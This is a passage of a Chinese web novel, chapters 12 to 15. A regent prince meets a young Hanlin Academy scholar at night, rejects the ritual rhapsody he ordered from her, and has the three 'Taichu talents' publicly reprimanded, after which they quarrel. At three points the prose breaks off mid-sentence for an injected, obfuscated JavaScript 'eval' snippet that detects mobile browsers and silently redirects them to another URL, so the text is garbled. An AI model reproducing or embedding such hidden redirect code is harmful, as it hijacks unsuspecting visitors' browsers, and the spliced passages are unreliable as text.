明明是他生于此,长于此的地方,明明不过相隔十年而已,这一刻,他竟然对其有种陌生的情绪。 “殿下何故叹息?” “只是觉得,物是人非罢了。” 公孙桓认同道:“是啊,世间万物流转,焉有不变之理。就如臣下院中的枣树,前年结了二百余果,同一棵果树,去年却只结了一百有余。别说数目不一致,就算一般的数目,各年的口感也不完全一致。所谓时易世变,一棵枣树尚且如此,更遑论其他呢?” 姬寅礼对他笑说:“文佑,你是懂得宽本王心的。” 公孙桓道:“能入殿下耳,是桓之荣幸。” 姬寅礼摇头失笑,这会再望向巍峨耸立的宫阙时,心里没了先前的那份莫名情绪。 遥望着远处衙署的星点光亮,他舒展双臂抻了下筋骨,抬步往亭下走时,心情尚佳道,“左右也歇了睡意,便随我去看看,是哪个衙门尚还有人在值守。” 12.第 12 章 夜阑人静的翰林院,虫息鸟眠,月影婆娑。 配殿的槅扇窗朝两侧敞开着,习习晚风从庭院吹拂进来,掠过案上的书页边缘,发出轻微的沙沙声响。案头点着两盏宫纱灯,暖黄光晕在室内弥散开来,映照着案前翻书之人清矍的身形。 立在游廊上的两人远眺过去,见到的就是那临窗看书之人,端坐案前全然沉浸于书中的场景。大抵是夏夜到底闷热,但见其官袍袖口半卷,白皙清瘦的腕骨随意轻搭书案之上,官帽也脱下搁置了一旁,露出其白璧般的清逸面容。 观其形,视其貌,比起其朝廷命官的身份,对方倒是更像个上京赶考的文弱书生。 “我似有些印象,他是那‘三杰’之一。”姬寅礼收回目光,朝向公孙桓,“就是不知,他是三杰中的哪个?” 公孙桓回道:“是探花郎,现任翰林院编修一职。姓陈,名今昭,因未及弱冠,所以尚未取字。” “竟如斯年轻,当真是年少有为,前途不可限量。” 姬寅礼感慨了番,这会想起什么,又问,“那日夜宴,我怎瞧他三人似为群臣所疏,可有此事?” 公孙桓也不意外宫廷夜宴那日,殿下能格外注意到这三人,实在是三人形貌太过出彩,一眼望去让人不注意都难。 所谓盛名之下无虚士,太初三杰姿容之美确是不负其盛誉。三杰中,一位俊逸非凡、高洁孤傲,一位丰姿冶丽、面若好女,另外一位则清矍脱俗、神清骨秀,真真是姣如明月耀眼,却又各具神采,令人见之难忘。 尤其是当日夜宴,美姿仪的三位年轻俊才居坐于一干年长的官员当中,简直是鹤立鸡群,醒目极了。再加上他三人自斟自饮,不趋奉上官也无下官过来敬奉、一副自绝于群臣之态,也委实惹人注目,所以殿下能注意到他们这几个微末小官,也并不奇怪。 “殿下所料不差,此三人确是不被群臣所融。”公孙桓斟酌了番言辞,将他所知的无巨细道出,“据说此间缘故,还是是先始于探花郎的拒收炭火孝敬。出了这个异数,翰林院上官们自是心生暗火,在轮番规劝不成,遂转为排挤打压,其后干脆将他摒于文官朝列之外。且自他始,另外二杰亦不再收底下的炭火孝敬。” 姬寅礼不由叹道:“好硬的骨气,倒是不符他那文弱之气。” 倒没想到那看似文弱的陈探花,如斯孤勇,不惧得罪满朝公卿,竟敢先一步打破约定俗成的旧习。 当真是人不可相貌。 公孙桓笑说:“殿下若是知他家资不丰、至今携全家老小赁于南巷胡同居住,怕是更要惊叹两句了。” 放在奢靡成风的皇都里,居于南巷胡同、甘守贫寒的京官,也算是蝎子的尾巴,独一份了。 姬寅礼此时是委实惊诧了,他本以为那探花郎不收孝敬,是有祖业为继。本朝俸禄之低众所周知,单靠编修那区区几十两年俸养家,光是想想便知何其难也。 “贵而守贫,属实难得。”姬寅礼的目光,不由再次看向那临窗读书的探花郎,语调几多和缓,“到底是热血未泯的年少英才。朝廷有这般的俊才在,倒也不算全是蠹虫之辈。” 安谧雅静的值房内,正沉迷在书中的陈今昭,冷不丁被出现在室内的声响惊得回神。此刻房门口处突如其来的竹帘掀动声、以及随之而起的错落脚步声,于此间悄然无声的环境中蓦然入耳,当即便让人悚然惊了下。 姬寅礼刚低头进了值房,一抬眼就见对面之人回眸惊望过来,白璧般的面庞满是受惊了的模样,不由笑说:“可是我惊着探花郎了?” 随着对方雍容温煦的声音响起,陈今昭的瞳仁里同时倒映进了那配通犀金玉环带的朱色常服。那身象征身份的朱色蟒袍,让她瞬息惊觉,来者何人。 陈今昭的脑袋,轰的炸了! 两耳尚在嗡鸣之际,她就已反射性的噌然起身,行动完全快于思绪的疾步匆匆至其跟前,勉强撑住发软的双膝施礼问安,“微臣见过摄政王殿下,恭请千岁殿下躬安。” “本王躬安。”姬寅礼看出她的慌乱无措,几步上前扶起她,安抚的拍拍她的手背,“今夜我赶巧路过,见此间有亮光,遂过来瞧个真切。我亦不过随便看看,你也不必紧张。” 覆在她手背的掌心稍带粗糙,温热有力,透着股沉稳的力量。可此刻的陈今昭心中哪还有半分安稳?当下只觉脚下如踩棉花,整个人似灵魂出窍,有种极度的不真实感。 姬寅礼环视着这间不算大的值班房,室内干净整洁,临窗前摆放了一案桌、一把椅,两侧各摆了盆罗汉松盆景,往里走有个稍小些的博古架,一应陈设摆件都简朴却不失文雅。再其后就是两排长书架,长度几乎横穿了室内,上面井然有序的摆满了书籍,隐隐透着书墨之气。 “可就你一人值守?”他缓步踱至书架前,随意打量着上面的类目。 从对方一进来,陈今昭就一直杵在原地未敢动。 听见问话,这方惊梦般回了神, “是。” “从前就是如此?” “不是。” 回答完好一会,她方遽然惊觉,自己刚才机械般的回话何其不妥,当即急语补充道:“回殿下,是因为翰林院人员减损严重,上官才将改了旧制。从前,吾等值宿一般为两人。” 可答完后,她脑中复盘一回,心里又咯噔一下。 刚这般回答是不是不妥?当着那人的面说人员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295571|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 减损严重云云,他会不会以为她在反讽,讽刺他杀性过重?偏她又提旧制,那人会不会多想,会不会以为她思念旧朝、对如今他这个掌权者不满? 是不是得罪他了?她会不会被记恨?会不会被拖出去? 书架那边似有极轻的笑声,她听得不大真切,稍顷,有沉稳的脚步声渐近。 陈今昭在见到对方迎面过来时就忙惊垂了眼。或许人在高度紧张时真的容易出差错,明明她内心已告诫自己一万遍,视线万不可落那人右侧下颌处哪怕半寸半毫,但是她只要一抬眼,那蜿蜒盘踞的刀痕保管第一时间印入她的眸底。 姬寅礼走到临窗的案前撩袍落座,稍微抬眸,将陈今昭从上至下缓慢打量一番。 细看起来是愈发白净,目光清正,气质干净偏文弱,加之清逸的美姿容,想来应是极讨京中闺阁女儿家的喜欢。 “你家中还有何人?” “回殿下,微臣家中还有母亲、妻儿及小妹。” 闻言,姬寅礼倒稍显诧异,没想到对方瞧着年岁不大,竟已经有妻有子。不过想来也是,若非已成婚生子,这探花郎少不得被京中豪绅或是官宦人家榜下捉婿,便也不会如现今这般过得十分拮据。 如此也能推断,其妻族必定家世不显。 感到对方的目光落在自己身上有段时间,陈今昭浑身僵硬如那案桌旁的盆栽,直待那股视线从她身上移开,整个人方似重新活了过来。 “平日里都读些什么书。” 问话的时候,姬寅礼随手翻开案上厚厚的那卷《天工开物》。在他看来,这类奇技淫巧的书,应是那探花郎用来随便打发时间的。 “近段时日公务繁忙,臣下未……未抽得出时间来多读书。” 陈今昭声如蚊蚋,自虚了三分。 其实早些年的时候,她还会每日早起温书,背些经义注解,文章诗赋,为的是有朝一日能去书院做个先生,教书育人。可后来,眼见着辞官越来越无望,她渐渐就有了懈怠的心理,对经史子集也不再那般上心了。如今,更是重拾起自己喜欢的杂学,是怎么开心怎么来。 姬寅礼啪的合上案上的书,抬了眼皮,看向距离他足有十步余远的人,“你年纪尚轻,有大好前程,莫要荒废光阴。杂学经学根基与治世镜鉴、以及律令实务类的研习典籍,你要常翻、常读、常记,温故而知新,不可懒惰懈怠。” 陈今昭心猛得一跳,为何这话听起来像似对她寄予厚望。 姬寅礼未等她多加细想,已经起身离开。在路经她旁侧时,意味深长道:“以后见本王不必站得那般远,吾非噬人恶兽,不吃人肉。” 说罢,与那公孙桓笑着离开。 13.第 13 章 姬寅礼带公孙桓从翰林院出来时,早有宫监捧着三份官员履历在那候着。原来是那公孙桓早在摄政王进值房前,就让人寻了个脚程快的宫监,去那架阁库里取那三杰的履历来。 见殿下的目光投来,公孙桓就问:“殿下可要看下?” 刚与探花郎的一番交谈,姬寅礼对其印象极佳,遂招手道:“将那探花郎的履历先拿过来。” 公孙桓就忙从三份履历里找出陈今昭的,呈递过去后,又将手里羊角灯提近了些。 姬寅礼边缓步慢走,边一目十行的阅览。 吴郡乌成县人氏,耕读人家,家世门第不显。幼年失怙,先于乌成县就学,秀才及第后,举家迁去郡城,入东林学院进学。太初五年中乡试第八名,年少成名,一时轰动吴郡。 后因求学举家搬入皇都,拜国子监助教袁守仁座下。 姬寅礼的目光在袁守仁这名字上停过两息,忽微挑凤眸,问:“探花郎与其恩师可有龃龉?” “殿下睿见,果真是什么都逃不开您的法眼。”公孙桓笑道,接着就解释了师生二人不合的缘由,“说起来,还是源于陈探花的一桩姻缘。他刚来京都拜袁师座下那会,师生二人的关系还算融洽。那陈探花相貌出众,学问不差,品行也纯良,遂也得了袁师三分青眼。但坏就坏在他长相太好,让府中的袁二小姐给瞧中了。” 姬寅礼问:“是他不娶,还是那袁师棒打鸳鸯?” “是前者。听闻那袁师倒是有意将爱女许配,但陈探花以身上已有婚约来婉拒。但袁二小姐性子执拗,非卿不嫁,袁师爱女心切,无奈下后又与他重提了此事,甚至还做出妥协,愿让那陈探花以平妻之礼迎娶那位未婚妻,怎料却依旧遭对方婉拒。由此,袁师对其生了龃龉,后来就不许那陈探花入府拜访,连逢年过节对方送进府的节礼,都一概被无情退回。 姬寅礼如此便也明白了。 平帝在太初七年生了场大病后,就已呈日薄西山之迹象。 那袁师在国子监任职,自是耳目通明,不可能不知此间消息。若他们二人师生关系融洽,想必如何也会隐晦的稍加提点,让其莫要参加此届科考。 参加太初七年的科考,与王朝末年入朝为官有何区别? 京都耳目通明的人家,都不会让自家子弟参与进来,而是会耐心等上两年,只待新帝继位开恩科。届时中榜入朝的新科进士们,便是那新朝的天子门生,比起旧臣来,更容易受新帝器重。 想明白此间,姬寅礼就继续顺着履历上内容往下看。 接下来是其两年为官的政绩,毫无疑问,连续两载考评为下等。瞧履历上那源自翰林院上官毫不吝啬的贬低评价,他便知,那上官是打着待那陈探花三年任期一到,便将其直接驱逐出京的算盘了。 姬寅礼不置可否的一笑,随手将履历递给旁侧人。 “文佑,太初七年的那批及第进士,在朝为官的有多少?” 公孙桓想了想,“加上被派去地方任职或候补者,不过小半数。” 太初七年那届科举,其实还是有不少学子参与的。 一部分是不明内情的外地学子,一部分是自恃家世不屑去瞻前顾后的世家子弟,还有一部分则是没底气直面下一届的龙争虎斗,遂也不在乎未来仕途好不好走,只想于当下中榜求个功名的学子。 不过因为当年平帝突如其来的举措,导致那届诸多中榜进士拒绝入仕,尤其是殿试前十名,有几个更是愤而罢官,以示对平帝破格提拔的不满。 姬寅礼对此亦有些耳闻,毕竟这事在当年闹得很大,连远在西北打仗的他都难免听上个几耳朵。 “都是栋梁人才,正值国朝用人之际,如此荒废了就太过可惜。文佑你去拟个章程,按名次及能力,召他们入仕罢。” 公孙桓一一记下。 姬寅礼随手接过另外两人的履历,翻开时,突然又想到什么,就道:“夏至将临,马上便要行零祀之仪。派人去通知那陈探花,让他以新帝名义先拟篇赋文,用以祭昊天上帝。” 公孙桓闻之,不免替那陈探花感到欣慰。 或许上了年纪又满腹算计之人,尤爱提携那些热血未泯的年轻后辈,尤其那陈探花眼神清正,心性瞧似又稚朴纯良,让人看着就觉舒服,他也难免会对其多了几分好印象。 公孙桓知道这陈探花在翰林院里是坐冷板凳的,平日里只做些边边角角的繁琐工作,类似草拟诏令、赋文等美差,素来是轮不到对方的。如今一朝得殿下交予重任,想来对方必定满心欢喜,感激涕零罢。 翰林院值房内,尚未缓口气的陈今昭,就接到了拟定赋文的任命。还是要在零祀之仪上祭祀所用的御用赋文! 被委以重任的她双肩发沉,好似有千钧之重担牢牢压下。 这一刻,宛如泰山压顶,又如有噩耗兜头盖下。 从来给值宿人员分配的公务,不都顶多是草拟个小诏或稍以润色一番吗?何曾给过如斯重担! 更何况,这类仪式大典中的御用赋文,按往常惯例,不应是由翰林院侍读学士以上的官员来拟定吗?何曾轮到她啊,也不该轮到她啊。 她何德何能,何德何能啊! “糟了!”陈今昭拍下脑门惊呼一声,推案起身急急忙忙往外跑去,焦急的环顾四望。这会她才后知后觉想起来,刚才她只顾着震惊,竟忘记询问赋文的交付日期了! 此刻翰林院外四下无人,哪里还见得到先前过来传令的那个宫监? 陈今昭不死心的又追了好长一段路,在依旧未见到那宫监的人影后,就只得作罢。 惴惴不安的返回了值房,她满脑子被御用赋文四个字塞满了。想当初科考的六大项中,诗赋是她最不擅长的一项了。当年在应对会试而下了苦功夫的情况下,她的诗赋文章尚且水准平平,如今两载懈怠下来,她都不敢想自己会写出什么样的赋文来。 不由抬头望向窗外天色,夜色依旧很浓,但那明月已经开始偏东了。这不禁让人心中升起了焦躁的急迫感。 这御用赋文究竟是要何时交付?不知急不急?这个月还是下个月?中旬还是下旬?过两天还是过几天? 总归不会是今夜罢! 一想到最后的那个可能,她当即就有点喘不上气来,磨墨的手都有点抖。 没事,没事,她安慰自己。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301310|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然她的诗赋文章,论引经据典不及沈砚,论辞藻华丽不及鹿衡玉,但连夜写篇中规中矩、勉强入眼的赋文,她还是做得到的。 值房临窗案上的宫灯熬了一宿。 宫灯的烛芯也在这一夜里被剪了一次又一次。 天际将明的时候,陈今昭依旧趴在案前奋笔疾书。书案上错落的摞了半人高的书堆,几乎将坐在案前的她湮没。她脚边也堆了不少墨迹斑斑的废纸堆,手边也堆了高高的废稿,每一张无不是删删改改,或增或减,布满了她这一夜的心酸。 送早膳的宫监敲开她的房门时,她方惊觉,原来天亮了。 可是这个时候,她哪里还有什么胃口用膳?此刻的她正小心翼翼的看着铺在案上的那张布满字迹的薄宣纸,这样薄薄的一页纸,是她在删改了几十遍、呕心沥血、用尽平生所学、翻阅了《周礼》《礼记》《诗经》《楚辞章句》等等不知多少本典籍,最终完成的成果。 个中艰辛程度,她怕此生都不愿再回忆。 她开始默读这篇《昊天圣德赋》,连呼吸都放得极轻,唯恐将这薄薄的一页纸吹跑。 “维康平元年之岁,仲夏初始,朕斋沐于明堂……” 刚读过开头,她脑中又开始不受控的掠过诸如,‘这般开头是不是过于平淡’‘换个骈文体是否会更好些’‘不如换作,维康平昭泰,仲夏初始’‘是不是还缺个吉兆的描写’‘要不再加个紫光祥云’,等等之类的想法。 陈今昭拼命抑住了想立即提笔增改的念头。这一晚上因为雕章琢句,她增删了太多回,关键是修至最后也无多少改进,甚至有些段落还不如第一版来得顺目。 她逼着自己继续往下默读,中途无数次强行按住了自己想要拿笔的右手,方勉强将这篇赋文从头读到了尾。 然后,她就如熬干了心血般,呆呆的瘫坐于座。 增删无数回,润色无数遍,翻阅典籍无数次……一夜的心血熬出的文章,通篇读下来竟可以如斯平淡。 明明她也严守赋体,骈文为主的同时,也兼用了散体,明明她于行文中亦兼顾了仪轨、星象、流源、乐舞、以及昊天祭祀全景等书写,但通篇赋文缘何还是那般普通! 这一刻她简直恨不得薅秃头发,发出尖锐的暴鸣—— 为何,为何啊!! 未及卯时,夜里那个传令的宫监过来了。 陈今昭担心的事情终于发生了,果然上头没有给她过多的时间,当日就要将赋文给取走。 “公公,这篇赋文还有些需要增删润色之处,不知可否通融一下,晚些时候再取走?” 好歹也让她等鹿衡玉过来,让他帮忙给看看问题出在哪,顺带再帮忙提点润色一番啊。委实是她对自己的赋文没有哪怕半分的信心。要就这般拿给上头人瞧看,实话说,她心里着实慌得很。 宫监看看天色,为难道:“请陈大人也莫为难小的,小的也是奉命行事。再耽搁下去,摄政王殿下该上朝了。” 陈今昭只得苦着脸儿,让其取走了那篇《昊天圣德赋》。 宫监一走,她在值房里就双手合十,默默的求爷爷告奶奶,恳求保佑她万万顺利通过此遭。 14.第 14 章 尚书房里,姬寅礼端过御前宫监递来的茶碗,掀开茶盖稍微吹了吹。 “这就是他写的赋?” 刘顺忙回道:“回殿下,正是那陈大人亲笔所书。可要唤那前去取赋文的小喜子进殿,细问一番?” “不必了。”姬寅礼端起茶碗慢喝过口,目光从呈在御案上的那篇《昊天圣德赋》上一扫而过,“果真是笔力荒疏,枉费三杰之名。以管窥豹,不难看出群臣荒废度日已久。” 随手将茶碗朝案上一搁,他掸袖起身,从旁侧红漆托木盘里拿过七梁朝冠,绕过御案就稳步往殿外走去。 “刘顺,今个不必跟来了。” 正亦步亦趋跟着的刘顺,乍然一听,手脚都僵住了。 在他惶悚不安,以为自己哪里做错惹了主子厌弃,正要跪地磕头认错时,忽的又听前方的主子传来了第二句—— “过会公孙桓会送来诏谕,你带去翰林院,替我申饬三杰。” 踏出殿门的姬寅礼,系好朝冠细带,轻描淡写的下令。 待他家主子的背影彻底消失在视线里,刘顺才劫后余生的大喘口气。原来倒运的是旁人,幸好,幸好。 话说陈今昭这里,因为值宿的缘故,所以今早就不必赶去宣治殿前点卯了,只需在翰林院静待众人回来就成。 鹿衡玉点完卯回翰林院,在见到陈今昭时,差点没敢认。 “你、你,你咋这般模样?” 不怪他惊到失语,实在是那陈今昭此刻的状态太过吓人了些。但见她挂着两乌圈的脸灰败败的,苍白的嘴唇起了皮,官帽戴歪了,官袍也皱了,袖摆、前襟上还都染了墨迹,偏好似她自个却浑然不知,此刻正睁着双无神的眼空洞望着前方,一副魂游天外的丧丧模样。 鹿衡玉惊疑不定的看着眼前这潦草的、乌糟糟模样的人,简直不敢相信这就是他那从来清清爽爽、干干净净、神采奕奕的好搭子,陈今昭。 只是一夜不见而已! 难道独值一宿,人就会变成这样的吗? 简直恐怖如斯! 此时别说鹿衡玉了,翰林院的其他官员也皆是震惊。不少人的目光不由偷瞄向上官方向,暗道果然姜还是老的辣,他们上官只堪堪出手施一小策,那三杰便要招架不住了。 连上官都开始自我怀疑起来,莫不当真是磋磨过甚? 鹿衡玉小心翼翼凑近陈今昭,偷偷问:“没出什么事吧?” 经历了一夜的惊心动魄,陈今昭当真是攒了满肚子的苦水想与人吐诉,但这翰林院实在不是说话的地,遂也只能将话憋住,而后有气无力的给对方个改日再细说的眼神。 鹿衡玉比了个明白的手势,就回了自己的位置落座。 陈今昭这里只是个小插曲,在各自领了上官分配下来的公务后,翰林院众官员就很快开始了新一日的忙碌。 值得一提的是,今日她的工作量较之以往,竟少了许多。这让她都有些不敢相信,原来她的上官竟然还有些人情味。还有居于她右侧位置的沈砚,竟也几次蹙眉朝她看来,颇有些欲言又止的模样。 陈今昭赶紧拿过案上典籍翻开校对,让自己火速忙碌起来,绝不给对方开口的机会。笑话,他们两人漠然以对的相处了两年,从来互视对方为无物,这会要是突然说上话,那得多尴尬啊。 待慢慢忙碌起来,她因那篇糟心赋文而起的忐忑不安感,也渐渐消淡不少。每每忽然想起而心下咯噔时,她便劝说自己,统共文章已经交付上去了,再想也不过是平添烦恼罢了。 再者,她那篇《昊天圣德赋》虽谈不上是辞采华茂的锦绣文章,但好歹也是篇中规中矩、行文标准的赋文罢。不出彩,但也无差错,顶多算是无功无过。 没事的,肯定没事的。 庭院蝉声躁耳,穿透敞开的槅扇窗,聒噪的回响在殿中,吵得人心烦意乱。再加之夏日炎热,翰林院众人手头公务又繁重,这会再听那蝉声翛翛吵个不停,可不就愈发烦躁。 有人不禁抱怨,那些粘蝉的宫监不知又去哪躲懒了,上官就知道装聋作哑,也不知好生管管! 心下烦躁之余,不免就皱眉望向窗外,试图找出那些个躲懒的宫人。哪知这一瞧,却当场倒抽口气。 指向窗外,急呼:“快过来看,那不是刘大监?!” 这一声打破了殿内的安静,翰林院众官员当即朝槅扇窗的方向围拢过来,放眼望去,那个穿绛纱袍、面黄干瘦、笑起来不阴不阳的宫监,不是那刘顺刘大监又是哪个? 此刻,那刘大监双手捧着卷明黄诏书,正带着人浩荡的朝他们翰林院方向过来! 翰林院上官远远望见,差点惊掉手里的茶碗。 不夸张的说,这一瞬间他几乎将自己的后事,都于脑中安排妥当了。毕竟为官八载时间里,他犯过哪些触犯朝廷律令的事,自己心里再清楚不过。 眼见人就要步入殿中,上官也来不及多想,脚步匆匆的过去迎接。 “大监今日如何得暇而至?可是千岁有诏令下达?” “的确是殿下有敕令下达。”刘顺简短回应了句,转而朝向翰林院众官员,皮笑肉不笑的问,“不知那太初三杰何在?” 话是这般问,但他那双深纹密布的双眼,却直勾勾精准定在三人所在方向。 翰林院全体官员几乎一瞬间,全将目光集中在他们身上。 三人一时间都怔懵了。 不过相比完全丈二和尚般的左右两人,陈今昭无疑是最先回神的那个。其实早在远远见到刘大监过来时,她就心中狂跳,发慌不止,一边隐隐怀疑是不是找自己的,因那篇糟心的赋文,另一边又急忙否定,觉得这般大的阵仗应该与自己无关。 此刻惊闻那位刘大监近乎指名道姓的指出他们三人,陈今昭已经冷汗如瀑了,心下无比确认,那篇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305335|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋文出岔子了! “沈修撰、陈编修、鹿编修,你们还干坐着作甚?”上官知晓此诏与他无干后,腰杆就也直了起来,对着座上的三人斥道,“还不速起身过来,莫让大监久等。” 三人方如梦初醒,纷纷推案起身,或疑惑、或揣测、或惴惴的随那刘大监出了殿,来到了庭院。 刘顺手捧诏书面向他们,“翰林院修撰沈砚、编修鹿衡玉、编修陈今昭,行礼,听谕。” 三人躬身齐齐作揖,屏息静待谕令。 刘顺展开诏书,开始宣读—— “奉摄政王千岁旨敕命:尔等掌文牍之职,本该博通经籍,精研词章,而非不思进益,作佶屈聱牙之文,深负朝廷重托……” 此刻,若不是还保持着躬身作揖的姿势,陈今昭就要忍不住开始擦额上冷汗了。竟然真的是因那赋而来问罪的! “泛泛空论如浮云蔽日,冗余赘言若蔓草缠枝!观尔赋文,词章晦涩,文意支离,典章援引谬误百出,章法混乱似蒙童涂鸦!尔等既承俊才之名,文风竟日颓如此……” 沈砚与鹿衡玉刚开始还觉莫名其妙,不知何故突遭这顿劈头盖脸的斥骂,待听到此处,便也渐渐恍然明了。 一时间,陈今昭身上就落了两道幽幽目光。 她脸色由青转红又转白,恨不能地上有三尺洞,让她得以直接钻进去才好。同时她也是真的想不通,就算那篇赋文她写得再不济,也不至于得此‘殊荣’,被这般兴师动众的宣诏申饬罢? 就算是申饬,那便申饬她一人就可,连带其他二人是何故?还带连坐的?这是唯恐她不羞惭的无地自容啊。 刘大监还在申斥,其声本就尖锐,这会毫不留情的大声斥骂声更是能刺痛人耳膜。虽在庭院,但其大声斥骂的每个字,都能清晰的传进鸦雀无声的殿里,清楚的传进殿里每个人耳中。 翰林院上官站在殿门处,整张脸铁青铁青。即便那诏令不是冲他来的,可诏令申饬的内容却与他翰林院息息相关,足矣令他颜面无光。 “……限尔等每日习文三篇呈览,月余后再未见精进,即行黜退!” 刘顺最后慢悠悠喊了句钦此,这方不紧不慢的收了诏令。 至此,摄政王千岁的诏谕方才宣完。受了近两刻钟责骂的陈今昭三人,这方冷汗淋漓的直起了身,这会腰腿都有些撑不住。 刘顺耷拉着眼皮一一打量过三人,幽幽笑着道:“望三位俊才力学不倦,研精覃思,不辜负摄政王千岁盛意。” 陈今昭看着对方皮贴骨头笑的模样,不由觉他阴恻恻的,让人看着都害怕。 等刘顺带人离开,三人头重脚轻的回了殿。本想回自己位子好生缓缓,怎料却先被上官叫到跟前,又是受到好生一顿痛骂。 待上官终于骂累了,他们也快被骂麻木了。 三人回到座上好长时间,耳边都嗡嗡的好似还有骂声。 15.第 15 章 午间时分,翰林院同僚们大都嫌殿内闷热,所以从送膳的宫监那拿过膳食后,就去了庭院的凉亭里用膳。 眼见左右两位仁兄没有出殿的打算,陈今昭遂忙前忙后来回几趟将饭食给他们捧回来,随即又提了茶壶去侧殿打热水沏了壶菊花茶,给他们各自的茶碗中满上。 “沈兄、鹿兄,不妨歇会,喝口茶消消暑。” 陈今昭无不殷勤的将茶碗端到他们各自案前。 说来,‘沈兄’二字刚出口时她还觉咬嘴,毕竟两人的关系从前那般僵,互不搭理好些年,骤然要率先开口打破坚冰、且说出口的还是给对方赔罪的话,她自是觉得万般难以启齿。可待硬着头皮唤下第一声后,后面道歉的话说出来反而没那么难了。 至现在,她已经能非常流畅自然的喊着沈兄,而后还能殷勤陪着不是。虽然对方一直寒着脸坐那不作声,但她丝毫不敢介意,谁让她先做错了事,连累到人家呢?平白受了场无妄之灾,哪还能厚颜要求人家给个什么好脸色呢。 鹿衡玉仍满脸怨气,趴在案前挥笔疾书的时候,还能连声抱怨,“真是被你害苦了,陈今昭!大清早过来就遭那劈头盖脸两顿骂,知不知道我现在两耳都在痛。偏今夜我还得值宿,连回去休整喘息的功夫都没有,简直就是要累煞我。亏我今个还特意带了盘酱脍牛肉来给你补补,你却上来就是恩将仇报,陈今昭,可真有你的。” 陈今昭真是又抱愧又感动,忙掏出小扇给他那碗菊花茶扇凉些,“今个确是我不对,连累你了。等过几日休沐,我做东请你……”突然想起右侧之人,忙改口,“请沈兄与鹿兄赏脸,到清风楼一聚,由小弟我给两位仁兄赔个不是。” 鹿衡玉被清风楼三字惊住了,刚要抬头惊问她是打算下月吃土不成,却冷不丁听另一侧传来道清冷的声音,“不必。” 两人不由齐齐朝沈砚方向看去。 沈砚将写好的一篇赋搁置一旁,铺纸濡墨,连停顿都没有,直接下笔写另外一篇。 在两人的注视下,沈砚头也不抬的说了句,“总归我也早有预料,迟早会有这么一日。” 这话听似是云山雾罩,可只需稍一琢磨,就能明其言外之意。 鹿衡玉当即双眼冒了火光,这话还能有什么意思,看不上他俩呗。当即火冒三丈,把笔一撂,挽了袖子就要上前理论。 陈今昭吓得赶忙拦住,“消气消气,沈兄是因恼我甚急……” “我并无他意,只是陈述事实。太初三杰之称只要一日在身,吾等三人,就难逃命定一体的桎梏。”持笔的动作顿下,沈砚眉峰攒起,似多了几分忍耐情绪。呼口气,方一字一句道,“自此,荣一道,辱也一道。 这话没有指责,却比严厉的控诉更戳人心窝子。 “好,好,你沈砚厉害!你是名副其实的状元郎,吾等功名都是投机取巧而来,实不配与尔并列称杰。你是这个意思可对?” 鹿衡玉气得脸发白,哆嗦着手指着沈砚,气急反而哈哈笑了两声,“其实我也不明白,我这才疏学浅的区区一小生,怎么就与名满荥阳的大才子沈砚并列称杰了呢?我多不配啊,我多不自量力啊,我实应感到羞愧,感到无地自容!” 他突然朝对方躬身施一礼:“我鹿衡玉,在这先给您赔个不是。”后又施一礼,“在此也替今昭,给您大才子再赔个不是。他也非是故意的要‘辱’您不是?世人都非完人,有擅长的自有拙于的,他擅策论而拙诗赋,事出突然也非他所愿。只是好歹人家也忙前忙后、小心赔礼道歉了半日,您多少赏人半个好脸可成?” 陈今昭一时间难受的说不出话来。 今日之事,着实是她对不住鹿衡玉。 都说是三杰,瞧似身份并重,可谁又知自打这名号现世起,他俩其实就自发挨了沈砚一头。沈砚本就瞧他们不上,认为他们二人名不副实,实不该与他并列称杰。如今,因她之过更印证了沈砚的那句‘辱一道’,于此更似证实了二人确是不配与之并称三杰。 鹿衡玉没有做错什么,实不该被她拖累,无端被人看低三分。更不该让他在沈砚面前,这般抬不起头来。 早在鹿衡玉冲他施礼时,沈砚就忽的站起避开,脸色铁青:“我非有此意,你又何必曲解?” “我曲解?你就差指我俩脑门明言了!” “我本意是,不管愿与不愿,世人眼中,吾等三人早已绑成一体,荣辱不可分割。所以,平日吾等更要严于律己,慎始敬终,要谨言慎行,时刻牢记一人之身关乎三人荣辱。” “不是,你这是何意?敢情我俩在你眼里,就是那等放纵不羁、轻率妄为之徒呗?” “我何时说过此话?” “你话里意思不在那吗!” “我……” “别吵,别吵了,咱有话好好说。” 眼见他们的争执愈演愈烈,陈今昭这会也来不及收拾好情绪,就忙开口制止。给他们眼神示意外头好奇窥探的视线,见两人勉强压了火气不再开口争吵,她就挨个拉他们重新坐下,又将茶水递他们各自手里,让他们消消火润润喉。 